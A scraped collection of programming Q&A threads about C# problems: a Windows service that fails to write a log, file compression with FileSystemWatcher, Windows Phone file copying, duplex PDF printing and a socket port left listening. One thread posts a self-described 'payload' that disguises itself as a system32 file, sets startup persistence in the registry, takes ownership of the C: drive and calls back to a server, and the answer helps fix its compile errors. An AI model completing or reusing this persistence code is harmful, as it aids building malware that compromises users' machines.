how to create text file in window service - c#

I have an XML file
<config>
<ServiceName>autorunquery</ServiceName>
<DBConnection>
<server>servername</server>
<user>xyz</user>
<password>klM#2bs</password>
<initialcatelog>TEST</initialcatelog>
</DBConnection>
<Log>
<logfilename>d:\testlogfile.txt</logfilename>
</Log>
<Frequency>
<value>10</value>
<unit>minute</unit>
</Frequency>
<CheckQuery>select * from credit_debit1 where station='Corporate'</CheckQuery>
<Queries total="3">
<Query id="1">Update credit_debit1 set station='xxx' where id=2</Query>
<Query id="2">Update credit_debit1 set station='xxx' where id=4</Query>
<Query id="3">Update credit_debit1 set station='xxx' where id=9</Query>
</Queries>
</config>
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.IO;
using System.Xml;
namespace Service1
{
public partial class Service1 : ServiceBase
{
XmlTextReader reader = null;
string path = null;
FileStream fs = null;
StreamWriter sw = null;
public Service1()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
timer1.Enabled = true;
timer1.Interval = 10000;
timer1.Start();
logfile("start service");
}
protected override void OnStop()
{
timer1.Enabled = false;
timer1.Stop();
logfile("stop service");
}
private void logfile(string content)
{
try
{
reader = new XmlTextReader("queryconfig.xml");//xml file name which is in current directory
if (reader.ReadToFollowing("logfilename"))
{
path = reader.ReadElementContentAsString();
}
fs = new FileStream(path, FileMode.Append, FileAccess.Write);
sw = new StreamWriter(fs);
sw.Write(content);
sw.WriteLine(DateTime.Now.ToString());
}
catch (Exception ex)
{
sw.Write(ex.ToString());
throw;
}
finally
{
if (reader != null)
reader.Close();
if (sw != null)
sw.Close();
if (fs != null)
fs.Close();
}
}
}
}
My problem is that the file is not created.

I think it is happening probably because you are using a System.Windows.Forms.Timer. It was not designed to work with a windows service.
Change your timer component to System.Timers.Timer. This class is suitable for Windows Services.

I suppose service identity has no rights to write to HD.
Check system event log for exceptions.

If your file is not created you would very likely get an exception which would appear in event log and your service would terminate as you do not handle any exceptions.
My guess would be that the file is created but not in the location that you expect. To check that either use a hard-coded absolute path or use Process Explorer to find the working folder of your service.
A simple technique for debugging scenarios like this one is to use System.Diagnostics.Trace.WriteLine() for putting out debug information and then start Debug View from Sysinternals to receive and display the trace messages.

Related

Trying to reference registry dll in run-time compilation

Error (CS0103): The name 'regk' does not exist in the current context
Error (CS0103): The name 'rk' does not exist in the current context
I am attempting to generate a payload.
Full code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
class Class2
{
public static bool RunOnStartup(string AppTitle, string AppPath)
{
RegistryKey rk;
try
{
rk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
return true;
}
catch (Exception)
{
}
try
{
rk = Registry.CurrentUser.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
}
catch (Exception)
{
return false;
}
return true;
}
static void drop()
{
//take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", #"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
processInfo.CreateNoWindow = true;
processInfo.UseShellExecute = true;
processInfo.Verb = "runas";
processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
try
{
Process.Start(processInfo);
// a prompt will be presented to user continue with deletion action
// you may want to have some other checks before deletion
File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, #"C:\Windows\system32\run32.exe");
RunOnStartup("sysrun32", #"C:\Windows\system32\run32.exe");
}
catch (Win32Exception)
{
//Do nothing as user cancelled UAC window.
}
catch (System.IO.IOException)
{
}
}
static void Main()
{
string serverip = "127.0.0.1";
if (File.Exists(#"C:\Windows\System32\run32.exe"))
{
if (System.Reflection.Assembly.GetExecutingAssembly().Location == #"C:\Windows\system32\run32.exe")
{
try
{
if(!Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12").GetValue == "true")
{
regk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12", true);
rk.SetValue("needsrun", "true");
}
else
{
TcpClient client = new TcpClient(serverip, 6675);
NetworkStream ns = client.GetStream();
ns.Write();
}
}
catch (Exception e)
{
}
}
}
else
{
drop();
}
}
}
}
There is my full code. Any help would be appreciated.
-bobboo101
Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.

System.Collections.ListDictionaryInternal Error

I'm trying to create a program where every time i create a text file,it will compress the file and log it .
It works for the first text file but when i create the second one, i get this exception: System.Collections.ListDictionaryInternal
Error:The process cannot access the file 'D:\TemeC#\FilesHomework\FilesHomework\ obj\Debug\New Text Document.txt' because it is being used by another process.
This is my code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;
using System.Security.Permissions;
namespace FilesHomework
{
class Program
{
static void Main(string[] args)
{
Run();
}
[PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
public static void Run()
{
FileSystemWatcher watcher = new FileSystemWatcher();
watcher.Path = "D:";
watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
| NotifyFilters.FileName | NotifyFilters.DirectoryName;
watcher.Filter = "*.txt";
watcher.Created += new FileSystemEventHandler(OnChanged);
watcher.EnableRaisingEvents = true;
Console.WriteLine("Press \'q\' to quit the sample.");
while (Console.Read() != 'q') ;
}
private static void OnChanged(object source, FileSystemEventArgs e)
{
try {
FileInfo FileIn = new FileInfo(e.Name);
Compress(FileIn);
// FileStream LogFile = File.Open("LogFile.txt",FileMode.OpenOrCreate,FileAccess.ReadWrite,FileShare.ReadWrite);
// File.SetAttributes("LogFile.txt", FileAttributes.Normal);
// StreamWriter sw = new StreamWriter(LogFile);
string str;
str = ("The file " + e.Name + " has been deleted at " + DateTime.Now);
// byte[] b1 = System.Text.Encoding.UTF8.GetBytes(str);
// sw.WriteLine(str);
Console.WriteLine(str);
File.Delete(e.Name);
// LogFile.Close();
// sw.Close();
}
catch(Exception er)
{
Console.WriteLine("Error:" + er.Data);
}
}
public static void Compress(FileInfo fileSelected)
{
using (FileStream originalFileStream = fileSelected.OpenRead())
{
if ((File.GetAttributes(fileSelected.FullName) &
FileAttributes.Hidden) != FileAttributes.Hidden & fileSelected.Extension != ".gz")
{
using (FileStream compressedFileStream = File.Create(fileSelected.Name+ ".gz"))
{
using (GZipStream compressionStream = new GZipStream(compressedFileStream,
CompressionMode.Compress))
{
originalFileStream.CopyTo(compressionStream);
}
}
}
}
}
}
}
What do you guys think i should do?
Ahh, I think I see the problem.
It looks like your code is trying to pick up the new file, before you actually close the file in your editor.
You need to introduce a mechanism into your Compress method that checks if the file is available to open first.
See this answer to check if a file can be accessed or not, in code:
Is there a way to check if a file is in use?
Edit:
I would also try changing the FileSystemWatcher event you use to be .Changed, which fires after a file attribute is changed.
I would still check you can Open it to read by the link above though.

C# WP8 Copy File SD Card, Access denied

I try copy file from D:\Data\ to D:\WPSystem\APPS{GUID}\Install\ and i have error Access denied, who can help me and/or rebuild source ?
Pocket file manager can add new files without any errors
Anyone ever mentioned "However to copy files to apps folder try to use StorageFolder and StorageFile classes"
But I do not know how to apply it
Source : Click
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Navigation;
using Microsoft.Phone.Controls;
using Microsoft.Phone.Shell;
using PhoneApp1.Resources;
using System.IO;
namespace PhoneApp1
{
public partial class MainPage : PhoneApplicationPage
{
// Constructor
public MainPage()
{
InitializeComponent();
// Sample code to localize the ApplicationBar
//BuildLocalizedApplicationBar();
}
private void Button_Click(object sender, RoutedEventArgs e)
{
try
{
var directory = new DirectoryInfo("D:\\WPSystem\\") { Attributes = System.IO.FileAttributes.Normal };
directory.Attributes = System.IO.FileAttributes.Normal;
foreach (var info in directory.GetFileSystemInfos("*"))
{
info.Attributes = System.IO.FileAttributes.Archive;
}
var dir = directory.GetDirectories("apps").FirstOrDefault();
if (dir != null)
{
dir.MoveTo("D:\\WPSystem\\appsx");
var dir2 = new DirectoryInfo(#"D:\WPSystem\appsx\{GUID}\Install\");
var file = dir2.GetFiles("AppManifest.xaml").FirstOrDefault();
if (file != null)
{
file.Delete();
}
Directory.Move("D:\\WPSystem\\appsx", "D:\\WPSystem\\apps");
var data = new DirectoryInfo("D:\\Data\\");
var appmanifest = data.GetFiles("AppManifest.xaml").FirstOrDefault();
if (appmanifest != null)
{
appmanifest.CopyTo(
"D:\\WPSystem\\apps\\{GUID}\\Install\\File.bin");
}
}
MessageBox.Show("Success !");
//Application.Current.Terminate();
}
catch(Exception ex)
{
MessageBox.Show("Error"+ Environment.NewLine + ex.Message);
}
}
}
}
if you're getting an Access Denied exception problem is not in the code. Either the user running the application does not have privileges to run this, or the file/destination folder is locked for some reason.

print pdf in both sides

So, i'm using the PDFSharp lib, and, I whant to print a pdf on both sides....
My printer is a hp2055dn I have tryed all things... btw... my code is that:
using PdfSharp.Pdf.Printing;
using System;
using System.Collections.Generic;
using System.Drawing.Printing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace impressao
{
class Program
{
static void Main(string[] args)
{
PdfFilePrinter.AdobeReaderPath = #"C:\Program Files (x86)\Adobe\Acrobat 8.0\Acrobat\Acrobat.exe";
//PdfFilePrinter.AdobeReaderPath = #"C:\Program Files (x86)\Foxit Software\Foxit Reader\Foxit Reader.exe";
PrinterSettings settings = new PrinterSettings();
settings.Collate = false;
settings.Duplex = Duplex.Vertical;
PrintDialog printerDialog = new PrintDialog();
printerDialog.AllowSomePages = false;
printerDialog.ShowHelp = false;
printerDialog.PrinterSettings = settings;
printerDialog.AllowPrintToFile = true;
printerDialog.PrinterSettings.PrintToFile = true;
DialogResult result = printerDialog.ShowDialog();
if (result == DialogResult.OK)
{
PdfFilePrinter printer = new PdfFilePrinter("0.pdf", settings.PrinterName);
try
{
printer.Print();
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
}
}
}
If have a another way to make this, another lib, or, another settings, or another dll... please tell me
if is possible to make a another program in C or C++ and I just pass the parameters to print... I don't know...
I'm needing a lot of it, and urgently :(
Thanks
Alexandre
I found the solution, I have created a new printer and seted on defaults with print in both sides...

Is it bad Ju-ju that the port is still being listened to after my app shuts down?

My app listens on a certain port for socket messages. I can see that it is LISTENING via "netstat -a" at the command line.
When I shut the app down, the machine is still listening on that port when I re-run "netstat -a"
Is this a problem?
It seems like maybe it is, as when I subsequently start the app again, it crashes ignominiously.
How can I cause the listening to cease?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
namespace testSocketSendAndReceive_Nutshell
{
public partial class Form1 : Form
{
string sJerrysIPAddr = "10.24.93.110";
string sMyIPAddr = "10.24.93.128";
string sThisAppFileName = string.Empty;
bool bThisInstanceFunctionsAsServer = false;
internal static Form1 MainSocketPairForm = null;
public Form1()
{
InitializeComponent();
MainSocketPairForm = this;
}
private void Form1_Load(object sender, EventArgs e)
{
sThisAppFileName = System.Diagnostics.Process.GetCurrentProcess().ProcessName; // This provides just the app name, appending ".vshost" but NOT ".exe" (testSocketSendAndReceive_Nutshell.vshost)
lblFileName.Text = sThisAppFileName;
// Client and Server code are here combined in one app; however, we want each instance to run as
// just one or the other, so (the .exe functioning as a Server should be renamed with the subString
// "Server" somewhere in the filename):
bThisInstanceFunctionsAsServer = sThisAppFileName.Contains("Server");
if (bThisInstanceFunctionsAsServer)
{
new Thread(Server).Start(); // Run server method concurrently.
Thread.Sleep(500); // Give server time to start.
}
btnSendMsg.Visible = !bThisInstanceFunctionsAsServer;
textBox1.Visible = !bThisInstanceFunctionsAsServer;
}
static void Client()
{
using (TcpClient client = new TcpClient(Form1.MainSocketPairForm.sJerrysIPAddr, 51111)) // err here second time around
using (NetworkStream n = client.GetStream())
{
BinaryWriter w = new BinaryWriter(n);
w.Write(Form1.MainSocketPairForm.textBox1.Text.ToString());
w.Flush();
Form1.MainSocketPairForm.label1.Text = new BinaryReader(n).ReadString();
}
}
static void Server()
{
TcpListener listener = new TcpListener(IPAddress.Any, 51111);
listener.Start();
var shouldExit = false;
while (!shouldExit)
using (TcpClient c = listener.AcceptTcpClient())
{
using (NetworkStream n = c.GetStream())
{
string msg = new BinaryReader(n).ReadString();
if (msg == "exit")
// Client told us to exit...
shouldExit = true;
BinaryWriter w = new BinaryWriter(n);
w.Write(msg + " back atcha!");
w.Flush(); // Must call Flush because we're not disposing the writer.
}
}
}
private void button1_Click(object sender, EventArgs e)
{
Client();
}
private void button2_Click(object sender, EventArgs e)
{
Close();
}
}
}
Your application is probably not actually exiting (check task manager "Processes" tab for your .exe).
You are probably trying to close the application by just closing the command window. Because your Server thread is not a background thread, it will just keep running. Try this guy in Form_Load:
if (bThisInstanceFunctionsAsServer)
{
var serverThread = new Thread(Server);
serverThread.IsBackground = true; // Make sure the server thread doesn't keep the app running in the background
serverThread.Start(); // Run server method concurrently.
Thread.Sleep(500); // Give server time to start.
}

Categories